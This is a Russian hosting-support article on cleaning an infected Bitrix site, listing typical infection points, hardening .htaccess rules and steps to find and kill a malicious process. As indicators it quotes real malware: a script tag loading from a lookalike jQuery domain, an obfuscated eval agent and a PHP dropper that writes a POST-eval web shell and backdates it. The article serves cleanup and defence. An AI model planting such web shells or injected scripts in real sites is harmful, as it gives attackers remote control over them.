Что делать, если Ваш сайт на Битрикс был заражен
Опубликовано Анастасия Иванова on 09 March 2023 11:30

Перед восстановлением сайта из архива в первую очередь скачайте архив по ссылке, предоставленной сотрудником поддержки, или воспользуйтесь инструкцией для создания архива текущих файлов сайта.

Для скачивания архива рекомендуем использовать ftp доступ.

Если на сервере достаточно свободного места, Вы можете переместить текущие файлы сайта и дамп бд в отдельный каталог, создав его через менеджер файлов панели Plesk. 

После этого Вам необходимо распаковать архив на своем компьютере и проверить его на наличие вредоносного кода.

 

Наиболее частые способы внедрения вредоносного кода:

- заменяют index.php в корне сайта,

- удаляют файл /bitrix/.settings.php,

- внедрение вредоносного кода в файл bitrix/js/main/core/core.js вида "s=document.createElement(script)"

- внедрение вредоносного кода в bitrix/modules/main/include/prolog.php вида "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>"

- вредоносный скрипт также может создавать лишние файлы под видом нужных для работы сайта, например, /bitrix/components/bitrix/main.file.input/main.php или /bitrix/components/bitrix/main.file.input/set_list.php 

- создают скрипты Агенты с вредоносным кодом, создаются подобные агенты:

- $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%....

- $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2]));

- создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа

- удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property

- по директориям сайта могут быть раскиданы файлы .htaccess, блокирующие доступ к разделам (404 или 403 при обращении к страницам сайта):

<FilesMatch ".(py|exe|php)$">

Order allow,deny

Deny from all

</FilesMatch>

 

<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">

Order allow,deny

Allow from all

</FilesMatch>

Для предотвращения дальнейшего заражения дальше стоит выполнить следующие действия:

- Перевести работу сайта на актуальную версию php (если это еще не сделано)
- Обновить Битрикс до актуальной версии (Не всегда это помогает)
- Если на сайте есть модуль "Проактивная защита" /bitrix/admin/security_panel.php - выполнить настройки по рекомендациям модуля
- Проверить сайт инструментом Битрикс "Сканер безопасности" /bitrix/admin/security_scanner.php
- Закрыть доступ к файлам на уровне сервера, временно (например в .htaccess)
 - /bitrix/tools/upload.php
 - /bitrix/tools/mail_entry.php
 - /bitrix/modules/main/include/virtual_file_system.php
 - /bitrix/components/bitrix/sender.mail.editor/ajax.php
 - /bitrix/tools/vote/uf.php
 - /bitrix/tools/html_editor_action.php
 - /bitrix/admin/site_checker.php

Пример, как можно ограничить доступы к файлам сайта:

/var/www/vhosts/domain.tld/httpdocs/bitrix/admin/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(site_checker)\.php$>deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/modules/main/include/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(virtual_file_system)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/components/bitrix/sender.mail.editor/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(ajax)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/.htaccess

<Files ~ "^(uf)\.php$> deny from all</Files>

В старых версиях битрикс уязвимым местом оказался модуль vote, это модуль опросник. Для того чтобы обезопасить себя, в файле:

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/uf.php над вызовом модуля вписываем:

if ($_SERVER['REQUEST_METHOD'] === 'POST')

{   

    header("Status: 404 Not Found");

    die();

}

То же самое и в файле /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/html_editor_action.php

На сервере может присутствовать вредоносный процесс, запущенный через уязвимости сайта, который автоматически может пересоздавать вредоносные скрипты. Для его поиска подключитесь к серверу по ssh и выполните следующее:
ps auxf | grep domain.tld
В выводе Вы можете увидеть вредоносный процесс вида:
admin_f+ 16699  0.0  0.6 323116 10368 ?    SMar02   2:18 /opt/plesk/php/5.6/bin/php /var/www/vhosts/domain.tld/httpdocs/lock666.php

“Убиваем” его с помощью команды:
kill -9 16699
где 16699 - id процесса, который можно увидеть из предыдущей команды.

 

После проверки и очистки файлов, их необходимо запаковать обратно в архив .zip и загрузить в корневую директорию сайта, предварительно очистив каталог от существующих файлов. После очистки корневой директории сайта убедитесь, что в ней не создаются новые файлы.